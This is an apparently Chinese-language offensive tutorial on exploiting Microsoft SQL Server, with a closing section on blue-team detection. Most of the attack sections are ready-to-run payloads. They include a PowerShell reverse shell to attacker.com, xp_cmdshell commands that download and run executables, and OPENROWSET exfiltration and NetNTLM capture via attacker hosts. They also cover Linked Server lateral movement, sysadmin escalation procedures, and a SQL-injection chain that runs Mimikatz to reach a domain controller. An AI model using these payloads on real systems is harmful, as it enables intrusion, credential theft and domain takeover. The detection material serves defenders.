MSSQL xp_cmdshell/OPENROWSET/BULK INSERT/Linked Server RCE与横向移动提权利用技术 MSSQL xp_cmdshell/OPENROWSET/BULK INSERT/Linked Server RCE与横向移动提权利用技术 Microsoft SQL Server 是企业环境中最广泛部署的关系数据库之一,与 Windows 生态和 Active Directory 深度集成。一个典型生产部署里,MSSQL 至少同时暴露了以下攻击面:
TDS Protocol 面 :Tabular Data Stream 协议端口(默认 1433,TLS 为 1434,Named Pipe 使用 SMB),处理所有 SQL 查询xp_cmdshell 面 :扩展存储过程可直接执行操作系统命令,实现 RCEOPENROWSET 面 :可访问远程数据源、执行文件操作、建立 Ad Hoc 连接BULK INSERT 面 :可从文件系统批量导入数据到数据库表Linked Server 面 :可建立到其他 SQL Server 或 OLE DB 数据源的链接,支持分布式查询OLE Automation 面 :sp_OACreate/sp_OAMethod 等可调用 COM 对象CLR Integration 面 :Common Language Runtime 可加载 .NET 程序集权限提升面 :db_owner 角色、dbo 权限、sa 账户、Windows 认证集成对攻击者来说,MSSQL 的价值不在于某个单一漏洞,而在于它把数据存储、文件操作、命令执行、域认证与分布式查询能力集中在同一进程里。一旦获得数据库访问权限(弱密码、默认凭据、SQL 注入),攻击者可以通过 xp_cmdshell 执行系统命令、通过 OPENROWSET 读取任意文件或外带数据、通过 BULK INSERT 导入文件内容、通过 Linked Server 横向移动到其他数据库实例,甚至利用 Windows 认证机制直接访问域资源。
本文聚焦打点与利用侧,重点记录:
如何识别当前目标是否为 MSSQL 哪些未认证或弱认证场景最值得优先探测 如何通过 xp_cmdshell 实现 RCE 如何通过 OPENROWSET 实现文件操作与数据外带 如何通过 BULK INSERT 实现文件导入 如何通过 Linked Server 进行横向移动 如何从普通用户提升到 sysadmin 权限 历史 CVE 链如何从信息泄露直接打到域控 蓝队如何从访问日志与系统日志识别这类打点 0. 攻击面概览 0.1 常见端口与协议 首轮至少应枚举:
:1433/ — MSSQL TDS 协议端口(明文/TLS):1434/ — MSSQL TLS 端口(备选):1434/udp — SQL Server Browser 服务(实例发现):4022/ — Service Broker(数据库镜像)Named Pipes — 通过 SMB(445)的命名管道0.2 协议特征 MSSQL 使用 TDS (Tabular Data Stream) 协议。可以通过 nmap 或自定义工具探测:
nmap -p 1433 mssql.target.example --script ms-sql-info PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sql-info:
| Microsoft SQL Server 2019:
| Protocol version: 7.4
| Encryption: ENCRYPT_OFF
| Instance name: MSSQLSERVER
| Version: 15.0.2000.5
| SP: 0
| TCP port: 1433
| Clustered: No 0.3 手动探测 也可以使用 sqlcmd 或 mssqlclient.py 手动连接:
sqlcmd -S mssql.target.example -U sa -P password python3 mssqlclient.py sa@mssql.target.example 如果返回登录成功,说明凭据有效。如果使用 Windows 认证:
sqlcmd -S mssql.target.example -E python3 mssqlclient.py -windows-auth domain/user:password@mssql.target.example 0.4 打点收益优先级 确认目标为 MSSQL、版本号与认证方式(SQL 认证 vs Windows 认证) 通过 @@version 回收系统信息 通过 sys.databases 枚举所有数据库 通过 sys.tables 枚举所有表 判断 xp_cmdshell 是否启用 判断 OPENROWSET 是否可用 判断 BULK INSERT 权限 枚举 Linked Server 配置 判断当前用户权限与角色成员关系 1. 首轮识别:确认目标为 MSSQL 1.1 nmap 脚本探测 nmap -p 1433 mssql.target.example --script ms-sql-info,ms-sql-empty-password,ms-sql-brute PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sql-info:
| Microsoft SQL Server 2019:
| Protocol version: 7.4
| Encryption: ENCRYPT_OFF
| Instance name: MSSQLSERVER
| Version: 15.0.2000.5
| ms-sql-empty-password:
| [192.168.1.100:1433]
| sa:<empty> - Login Success
| ms-sql-brute:
| [192.168.1.100:1433]
| sa:sa - Login Success 直接回收:
MSSQL 版本(2016/2017/2019/2022) 协议版本(7.1-7.4) 实例名称 加密状态 空密码或弱密码 1.2 SQL Server Browser 枚举 nmap -p 1434 mssql.target.example --script ms-sql-discover PORT STATE SERVICE
1434/udp open|filtered ms-sql-m
| ms-sql-discover:
| [192.168.1.100]
| Instance: MSSQLSERVER
| Version: 15.0.2000.5
| TCP port: 1433
| Named pipe: \\MSSQLSERVER\pipe\sql\query 可发现多个命名实例。
1.3 sqlcmd 连接 sqlcmd -S mssql.target.example -U sa 如果返回 1> 提示符,说明登录成功。
如果使用 Windows 认证且当前用户有权限:
sqlcmd -S mssql.target.example -E 1.4 版本查询 Microsoft SQL Server 2019 (RTM-CU15) (KB5008996) - 15.0.4198.2 (X64)
Jan 12 2022 22:30:08
Copyright (C) 2019 Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor) 回收信息:
精确版本号与 CU 级别 操作系统版本 架构(x64/x86) 版本类型(Standard/Enterprise/Express) 2. 信息回收:数据库与权限枚举 2.1 当前用户与权限 -- 当前用户
SELECT SYSTEM_USER AS CurrentUser, USER AS DatabaseUser;
-- 当前登录信息
SELECT
SUSER_NAME() AS LoginName,
ORIGINAL_LOGIN() AS OriginalLogin;
-- 是否为 sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin' ) AS IsSysAdmin;
-- 服务器角色成员
SELECT
sp.name AS LoginName,
sp.type_desc AS LoginType,
sp.is_disabled AS Disabled,
sp.default_database_name AS DefaultDB
FROM sys.server_principals sp
WHERE sp.type IN ('S' , 'U' , 'G' )
ORDER BY sp.name;
-- 数据库角色成员
SELECT
dp.name AS UserName,
dp.type_desc AS UserType,
r.name AS RoleName
FROM sys.database_principals dp
LEFT JOIN sys.database_role_members drm ON dp.principal_id = drm.member_principal_id
LEFT JOIN sys.database_principals r ON drm.role_principal_id = r.principal_id
ORDER BY dp.name;2.2 数据库枚举 -- 所有数据库
SELECT
name AS DatabaseName,
database_id,
state_desc AS State ,
compatibility_level AS CompatLevel,
collation_name ,
is_read_only,
is_trustworthy_on
FROM sys.databases
ORDER BY name;
-- 当前数据库的表
SELECT
TABLE_SCHEMA,
TABLE_NAME ,
TABLE_TYPE
FROM INFORMATION_SCHEMA.TABLES
ORDER BY TABLE_SCHEMA, TABLE_NAME ;
-- 所有表(包括系统表)
SELECT
s.name AS SchemaName,
t.name AS TableName,
t.type_desc,
p.rows AS RowCount
FROM sys.tables t
INNER JOIN sys.schemas s ON t.schema_id = s.schema_id
INNER JOIN sys.partitions p ON t.object_id = p.object_id AND p.index_id IN (0 , 1 )
ORDER BY s.name, t.name;2.3 敏感数据搜索 -- 搜索包含 password/credential/secret 的列
SELECT
TABLE_SCHEMA,
TABLE_NAME ,
COLUMN_NAME ,
DATA_TYPE
FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME LIKE '%password%'
OR COLUMN_NAME LIKE '%credential%'
OR COLUMN_NAME LIKE '%secret%'
OR COLUMN_NAME LIKE '%key%'
OR COLUMN_NAME LIKE '%token%'
ORDER BY TABLE_SCHEMA, TABLE_NAME ;3. xp_cmdshell RCE 3.1 检查 xp_cmdshell 状态 -- 检查是否启用
SELECT value_in_use
FROM sys.configurations
WHERE name = 'xp_cmdshell' ;
-- 或者
EXEC sp_configure 'xp_cmdshell' ;3.2 启用 xp_cmdshell 需要 sysadmin 或 CONTROL SERVER 权限:
-- 启用高级选项
EXEC sp_configure 'show advanced options' , 1 ;
RECONFIGURE;
-- 启用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell' , 1 ;
RECONFIGURE; 3.3 执行系统命令 -- 基本命令执行
EXEC xp_cmdshell 'whoami' ;
-- 回收系统信息
EXEC xp_cmdshell 'systeminfo' ;
-- 网络信息
EXEC xp_cmdshell 'ipconfig /all' ;
EXEC xp_cmdshell 'netstat -ano' ;
-- 域信息
EXEC xp_cmdshell 'net user /domain' ;
EXEC xp_cmdshell 'net group "Domain Admins" /domain' ;
-- 下载文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\Windows\Temp\shell.exe"' ;
-- 执行文件
EXEC xp_cmdshell 'C:\Windows\Temp\shell.exe' ;
-- 反向 Shell
EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''attacker.com'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"' ;3.4 输出回收 -- 创建临时表回收输出
CREATE TABLE # output (line VARCHAR(MAX ));
INSERT INTO # output EXEC xp_cmdshell 'dir C:\' ;
SELECT * FROM # output ;
DROP TABLE # output ;3.5 绕过限制 如果 xp_cmdshell 被禁用且无法启用:
-- 尝试通过 Agent Job 执行
USE msdb;
EXEC dbo.sp_add_job @ job_name = N'TestJob' ;
EXEC dbo.sp_add_jobstep @ job_name = N'TestJob' ,
@ step_name = N'TestStep' ,
@ subsystem = N'TSQL' ,
@ command = N'EXEC xp_cmdshell ''whoami''' ,
@ retry_attempts = 1 ,
@ retry_interval = 5 ;
EXEC dbo.sp_start_job @ job_name = N'TestJob' ;4. OPENROWSET 文件操作与数据外带 4.1 检查 OPENROWSET 权限 -- 检查 Ad Hoc Distributed Queries 是否启用
SELECT value_in_use
FROM sys.configurations
WHERE name = 'Ad Hoc Distributed Queries' ;
-- 检查当前用户权限
SELECT HAS_PERMS_BY_NAME(NULL , NULL , 'ADMINISTER BULK OPERATIONS' );4.2 启用 OPENROWSET EXEC sp_configure 'show advanced options' , 1 ;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries' , 1 ;
RECONFIGURE; 4.3 读取本地文件 -- 读取文本文件
SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts' , SINGLE_CLOB) AS f;
-- 读取敏感文件
SELECT * FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config' , SINGLE_CLOB) AS f;
SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\NTUser.dat' , SINGLE_BLOB) AS f;
-- 读取 UNC 路径(SMB 外带)
SELECT * FROM OPENROWSET(BULK '\\attacker.com\share\file.txt' , SINGLE_CLOB) AS f;4.4 数据外带到远程服务器 -- 外带数据到攻击者控制的 MSSQL
SELECT * FROM OPENROWSET(
'SQLOLEDB' ,
'Server=attacker.com;Trusted_Connection=yes;' ,
'SELECT * FROM OPENROWSET(BULK ''C:\sensitive\data.txt'', SINGLE_CLOB) AS f'
);
-- 外带到 MySQL
SELECT * FROM OPENROWSET(
'MSDASQL' ,
'DRIVER={MySQL ODBC 8.0 Unicode Driver};SERVER=attacker.com;DATABASE=exfil;USER=root;PASSWORD=password;' ,
'INSERT INTO exfil_table VALUES (''stolen_data'')'
); 4.5 SMB 认证捕获 -- 触发 SMB 连接,捕获 NetNTLM 哈希
SELECT * FROM OPENROWSET(BULK '\\attacker.com\share\dummy.txt' , SINGLE_CLOB) AS f;
-- 使用 Responder 捕获
-- attacker: sudo responder -I eth0 4.6 通过 OPENROWSET 执行命令 -- 通过 OLE Automation 执行命令
DECLARE @ obj INT;
EXEC sp_OACreate 'WScript.Shell' , @ obj OUTPUT ;
EXEC sp_OAMethod @ obj, 'Run' , NULL , 'cmd.exe /c whoami > C:\temp\output.txt' , 0 , TRUE ;
EXEC sp_OADestroy @ obj;
-- 回收输出
SELECT * FROM OPENROWSET(BULK 'C:\temp\output.txt' , SINGLE_CLOB) AS f;5. BULK INSERT 文件导入 5.1 检查 BULK INSERT 权限 -- 检查是否有 ADMINISTER BULK OPERATIONS 权限
SELECT HAS_PERMS_BY_NAME(NULL , NULL , 'ADMINISTER BULK OPERATIONS' );
-- 检查是否为 sysadmin 或 bulkadmin 角色
SELECT IS_SRVROLEMEMBER('sysadmin' ) AS IsSysAdmin;
SELECT IS_SRVROLEMEMBER('bulkadmin' ) AS IsBulkAdmin;5.2 创建目标表 -- 创建临时表
CREATE TABLE # bulkdata (
line VARCHAR(MAX )
); 5.3 导入本地文件 -- 导入文本文件
BULK INSERT # bulkdata
FROM 'C:\Windows\System32\drivers\etc\hosts'
WITH (
FIELDTERMINATOR = '\n' ,
ROWTERMINATOR = '\n'
);
SELECT * FROM # bulkdata;
DROP TABLE # bulkdata;5.4 导入敏感文件 -- 导入 web.config
CREATE TABLE # webconfig (content VARCHAR(MAX ));
BULK INSERT # webconfig
FROM 'C:\inetpub\wwwroot\web.config'
WITH (FIELDTERMINATOR = '\n' , ROWTERMINATOR = '\n' );
SELECT * FROM # webconfig;
DROP TABLE # webconfig;
-- 导入 SAM 数据库(需要 SYSTEM 权限)
CREATE TABLE # sam (content VARBINARY(MAX ));
BULK INSERT # sam
FROM 'C:\Windows\System32\config\SAM'
WITH (FIELDTERMINATOR = '' , ROWTERMINATOR = '' );
SELECT * FROM # sam;
DROP TABLE # sam;5.5 导入 UNC 路径 -- 从网络共享导入
CREATE TABLE # networkdata (line VARCHAR(MAX ));
BULK INSERT # networkdata
FROM '\\fileserver\share\data.txt'
WITH (FIELDTERMINATOR = '\n' , ROWTERMINATOR = '\n' );
SELECT * FROM # networkdata;
DROP TABLE # networkdata;5.6 批量导入到永久表 -- 创建永久表
CREATE TABLE exfil_data (
id INT IDENTITY (1 ,1 ),
content VARCHAR(MAX ),
import_time DATETIME DEFAULT GETDATE()
);
-- 批量导入
BULK INSERT exfil_data
FROM 'C:\data\dump.csv'
WITH (
FIELDTERMINATOR = ',' ,
ROWTERMINATOR = '\n' ,
FIRSTROW = 2 ,
CODEPAGE = '65001'
); 6. Linked Server 横向移动 6.1 枚举 Linked Server -- 查看所有 Linked Server
SELECT
name AS LinkedServerName,
provider,
data_source,
is_remote_login_enabled,
is_rpc_out_enabled
FROM sys.servers
WHERE is_linked = 1 ;
-- 查看 Linked Server 登录映射
SELECT
s.name AS LinkedServerName,
l.local_principal_id,
l.uses_self_credential,
l.remote_name
FROM sys.linked_logins l
INNER JOIN sys.servers s ON l.server_id = s.server_id;6.2 查询远程数据 -- 查询远程数据库
SELECT * FROM [LinkedServerName].[RemoteDB].[dbo].[TableName];
-- 使用 OPENQUERY
SELECT * FROM OPENQUERY([LinkedServerName], 'SELECT * FROM RemoteDB.dbo.TableName' );
-- 使用 EXEC
EXEC [LinkedServerName].[RemoteDB].[dbo].[sp_executesql] N'SELECT @@version' ;6.3 在 Linked Server 上执行命令 如果 Linked Server 配置了 rpc out:
-- 直接在远程服务器执行命令
EXEC [LinkedServerName].master.dbo.sp_executesql N'EXEC xp_cmdshell ''whoami''' ;
-- 或者
EXEC ('EXEC xp_cmdshell ''whoami''' ) AT [LinkedServerName];6.4 创建 Linked Server 如果有 sysadmin 权限:
-- 创建到攻击者服务器的 Linked Server
EXEC sp_addlinkedserver
@ server = N'AttackerServer' ,
@ srvproduct = N'' ,
@ provider = N'SQLNCLI' ,
@ datasrc = N'attacker.com' ;
-- 配置登录凭据
EXEC sp_addlinkedsrvlogin
@ rmtsrvname = N'AttackerServer' ,
@ useself = N'False' ,
@ locallogin = NULL ,
@ rmtuser = N'sa' ,
@ rmtpassword = N'password' ;
-- 测试连接
SELECT * FROM [AttackerServer].[master].[sys].[databases];6.5 通过 Linked Server 横向移动 -- 枚举域内所有 SQL Server
EXEC sp_helpserver;
-- 逐个测试连接
EXEC [SQLServer1].master.dbo.sp_executesql N'SELECT @@servername' ;
EXEC [SQLServer2].master.dbo.sp_executesql N'SELECT @@servername' ;
-- 在远程服务器枚举权限
EXEC [SQLServer1].master.dbo.sp_executesql N'
SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')
' ;
-- 在远程服务器执行命令
EXEC [SQLServer1].master.dbo.sp_executesql N'
EXEC xp_cmdshell ''powershell -c "Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\Temp\shell.exe"''
' ;
EXEC [SQLServer1].master.dbo.sp_executesql N'
EXEC xp_cmdshell ''C:\Temp\shell.exe''
' ;6.6 利用 Windows 认证 -- 使用当前 Windows 用户连接到 Linked Server
EXEC sp_addlinkedsrvlogin
@ rmtsrvname = N'TargetServer' ,
@ useself = N'True' ;
-- 查询远程数据(使用当前 Windows 身份)
SELECT * FROM [TargetServer].[RemoteDB].[dbo].[SensitiveTable];7. 权限提升 7.1 从 db_owner 到 sysadmin -- 检查当前数据库权限
SELECT
dp.name AS UserName,
dp.type_desc,
r.name AS RoleName
FROM sys.database_principals dp
LEFT JOIN sys.database_role_members drm ON dp.principal_id = drm.member_principal_id
LEFT JOIN sys.database_principals r ON drm.role_principal_id = r.principal_id
WHERE dp.name = USER_NAME();
-- 如果当前用户是 db_owner,可以创建存储过程并标记为可信
USE [TargetDB];
GO
-- 创建存储过程
CREATE PROCEDURE sp_elevate
WITH EXECUTE AS OWNER
AS
BEGIN
EXEC sp_addsrvrolemember 'attacker_user' , 'sysadmin' ;
END ;
GO
-- 执行存储过程
EXEC sp_elevate;7.2 利用 TRUSTWORTHY 数据库 -- 检查哪些数据库启用了 TRUSTWORTHY
SELECT name, is_trustworthy_on
FROM sys.databases
WHERE is_trustworthy_on = 1 ;
-- 如果目标数据库启用了 TRUSTWORTHY,且当前用户是 db_owner
USE [TrustworthyDB];
GO
-- 创建存储过程提升权限
CREATE PROCEDURE sp_trustworthy_elevate
WITH EXECUTE AS OWNER
AS
BEGIN
-- 添加 sysadmin 角色
EXEC sp_addsrvrolemember 'attacker_user' , 'sysadmin' ;
-- 或者启用 xp_cmdshell
EXEC sp_configure 'show advanced options' , 1 ;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell' , 1 ;
RECONFIGURE;
END ;
GO
EXEC sp_trustworthy_elevate;7.3 利用 CLR Assembly -- 检查 CLR 是否启用
SELECT value_in_use
FROM sys.configurations
WHERE name = 'clr enabled' ;
-- 启用 CLR
EXEC sp_configure 'clr enabled' , 1 ;
RECONFIGURE;
-- 创建恶意程序集(需要先编译 DLL)
CREATE ASSEMBLY MaliciousAssembly
FROM 'C:\temp\Malicious.dll'
WITH PERMISSION_SET = UNSAFE;
-- 创建存储过程
CREATE PROCEDURE sp_malicious
AS EXTERNAL NAME MaliciousAssembly.[Malicious.StoredProcedures].ExecuteCommand;
-- 执行
EXEC sp_malicious;7.4 利用 impersonate 权限 -- 检查是否有 impersonate 权限
SELECT * FROM sys.server_permissions
WHERE permission_name = 'IMPERSONATE' ;
-- 模拟 sa 用户
EXECUTE AS LOGIN = 'sa' ;
-- 现在以 sa 身份执行命令
EXEC xp_cmdshell 'whoami' ;
-- 恢复原始身份
REVERT; 7.5 利用未加密的连接字符串 -- 搜索包含密码的连接字符串
SELECT
TABLE_NAME ,
COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME LIKE '%connection%'
OR COLUMN_NAME LIKE '%config%' ;
-- 读取 web.config
SELECT * FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config' , SINGLE_CLOB) AS f;8. 历史 CVE 与攻击链 8.1 CVE-2020-0618 (SSRS RCE) SQL Server Reporting Services 远程代码执行:
影响版本:SQL Server 2016/2017/2019
利用条件:SSRS 服务暴露
利用方式:通过特制请求触发反序列化漏洞 8.2 CVE-2019-1068 (SQL Agent 提权) SQL Server Agent 作业提权:
影响版本:SQL Server 2012-2017
利用条件:SQL Agent 服务运行
利用方式:通过创建恶意作业提升权限 8.3 CVE-2020-17183 (Azure SQL 提权) Azure SQL Database 提权:
影响版本:Azure SQL Database
利用条件:Azure 环境
利用方式:通过特制 TDS 包提升权限 8.4 完整攻击链示例 从 SQL 注入到域控:
1. Web 应用 SQL 注入 -> MSSQL sa 账户
2. 启用 xp_cmdshell -> 系统命令执行
3. 下载 Mimikatz -> 提取内存凭据
4. 回收域管理员哈希 -> Pass-the-Hash
5. 访问域控 -> 完全控制 -- Step 1: SQL 注入点
SELECT * FROM users WHERE id = 1 ; UNION SELECT 1 ,@@ version ,3 --
-- Step 2: 启用 xp_cmdshell
'; EXEC sp_configure ' xp_cmdshell', 1; RECONFIGURE;--
-- Step 3: 下载 Mimikatz
' ; EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/mimikatz.exe -OutFile C:\Temp\mimikatz.exe"' ;--
-- Step 4: 提取凭据
'; EXEC xp_cmdshell ' C :\ Temp\ mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > C :\ Temp\ creds.txt';--
-- Step 5: 回收凭据
' ; SELECT * FROM OPENROWSET(BULK 'C:\Temp\creds.txt' , SINGLE_CLOB) AS f;-- 9. 蓝队检测与应急响应 9.1 关键日志位置 # SQL Server 错误日志
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Log\ERRORLOG
# SQL Server Agent 日志
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Log\SQLAgent.out
# Windows 安全日志
Event Viewer -> Windows Logs -> Security
# SQL Server 审计日志(如果启用)
SELECT * FROM sys.fn_get_audit_file('C:\SQLAudit\*.sqlaudit', DEFAULT, DEFAULT); 9.2 可疑活动指标 -- 检查 xp_cmdshell 启用历史
SELECT
name,
value,
value_in_use,
minimum,
maximum
FROM sys.configurations
WHERE name = 'xp_cmdshell' ;
-- 检查最近的作业执行
SELECT
j.name AS JobName,
h.step_name,
h.command,
h.run_date,
h.run_time,
h.run_status
FROM msdb.dbo.sysjobs j
INNER JOIN msdb.dbo.sysjobhistory h ON j.job_id = h.job_id
WHERE h.run_date >= CONVERT (INT, CONVERT (VARCHAR(8 ), GETDATE()- 7 , 112 ))
ORDER BY h.run_date DESC , h.run_time DESC ;
-- 检查 Linked Server 配置
SELECT
s.name,
s.provider,
s.data_source,
l.remote_name,
l.uses_self_credential
FROM sys.servers s
LEFT JOIN sys.linked_logins l ON s.server_id = l.server_id
WHERE s.is_linked = 1 ;
-- 检查最近的 BULK INSERT 操作
SELECT
event_time,
server_principal_name,
statement
FROM sys.fn_get_audit_file('C:\SQLAudit\*.sqlaudit' , DEFAULT , DEFAULT )
WHERE statement LIKE '%BULK INSERT%'
OR statement LIKE '%OPENROWSET%' ; 9.3 Windows 事件日志狩猎 # 查找可疑的进程创建
Get-WinEvent -FilterHashtable @{LogName='Security' ;Id=4688 } |
Where-Object {$_.Message -match 'cmd.exe|powershell.exe|xp_cmdshell' } |
Select-Object TimeCreated, Message |
Format-List
# 查找可疑的服务创建
Get-WinEvent -FilterHashtable @{LogName='System' ;Id=7045 } |
Where-Object {$_.Message -match 'SQL Server' } |
Select-Object TimeCreated, Message |
Format-List
# 查找 SMB 连接(OPENROWSET UNC 路径)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-SMBClient/Connectivity' } |
Select-Object TimeCreated, Message |
Format-List 9.4 网络层检测 # 可疑端口
:1433 - MSSQL 标准端口
:1434 - SQL Server Browser
:445 - SMB(Named Pipe/UNC 路径)
# 可疑流量特征
- TDS 协议中的 xp_cmdshell 调用
- OPENROWSET 到外部 IP 的连接
- BULK INSERT 从 UNC 路径导入
- Linked Server 到未知服务器 9.5 应急响应清单 1. 确认 MSSQL 实例是否被入侵
- 检查 ERRORLOG 中的异常登录
- 检查 sys.configurations 中 xp_cmdshell 状态
- 检查 sys.servers 中的 Linked Server
2. 回收攻击者活动
- 分析 SQL Server 审计日志
- 分析 Windows 安全日志(进程创建、SMB 连接)
- 检查 msdb.dbo.sysjobs 中的恶意作业
3. 凭据泄露评估
- 检查是否执行了 Mimikatz
- 检查 web.config 等配置文件是否被读取
- 检查 Linked Server 凭据是否泄露
4. 系统隔离与修复
- 禁用 xp_cmdshell
- 删除可疑 Linked Server
- 重置所有数据库账户密码
- 应用最新安全补丁
5. 域环境评估
- 如果域凭据泄露,执行域级别应急响应
- 重置 krbtgt 账户
- 检查黄金/白银票据 10. 参考材料 10.1 官方文档 Microsoft SQL Server 安全最佳实践:https://docs.microsoft.com/sql/relational-databases/security/securing-sql-server xp_cmdshell 文档:https://docs.microsoft.com/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql OPENROWSET 文档:https://docs.microsoft.com/sql/t-sql/functions/openrowset-transact-sql Linked Server 文档:https://docs.microsoft.com/sql/relational-databases/linked-servers/linked-servers-database-engine 10.2 攻击工具 Impacket mssqlclient:https://github.com/SecureAuthCorp/impacket PowerUpSQL:https://github.com/NetSPI/PowerUpSQL SQLMap:https://github.com/sqlmapproject/sqlmap Responder(SMB 捕获):https://github.com/SpiderLabs/Responder 10.3 检测工具 SQL Server Audit:https://docs.microsoft.com/sql/relational-databases/security/auditing/sql-server-audit-database-engine Extended Events:https://docs.microsoft.com/sql/relational-databases/extended-events/extended-events SQL Server Profiler:https://docs.microsoft.com/sql/tools/sql-server-profiler/sql-server-profiler 10.4 相关 CVE CVE-2020-0618:SQL Server Reporting Services RCE CVE-2019-1068:SQL Server Agent 提权 CVE-2020-17183:Azure SQL Database 提权 CVE-2016-3203:SQL Server 权限提升 CVE-2014-4061:SQL Server 权限提升 总结 MSSQL 攻击面的核心在于它把数据存储、文件操作、命令执行、域认证与分布式查询能力集中在同一进程里。一旦获得数据库访问权限,攻击者可以通过 xp_cmdshell 实现 RCE、通过 OPENROWSET 进行文件操作与数据外带、通过 BULK INSERT 导入敏感文件、通过 Linked Server 横向移动到其他数据库实例,甚至利用 Windows 认证机制直接访问域资源。
对蓝队来说,关键是:
最小权限原则 :严格限制数据库账户权限,禁用不必要的功能(xp_cmdshell、OPENROWSET、CLR)网络隔离 :MSSQL 端口不应直接暴露到互联网,使用防火墙限制访问审计日志 :启用 SQL Server Audit 和 Extended Events,记录所有敏感操作凭据保护 :使用强密码,定期轮换,避免在连接字符串中硬编码密码补丁管理 :及时应用 SQL Server 安全补丁域集成监控 :监控 MSSQL 服务账户的域活动,检测异常认证行为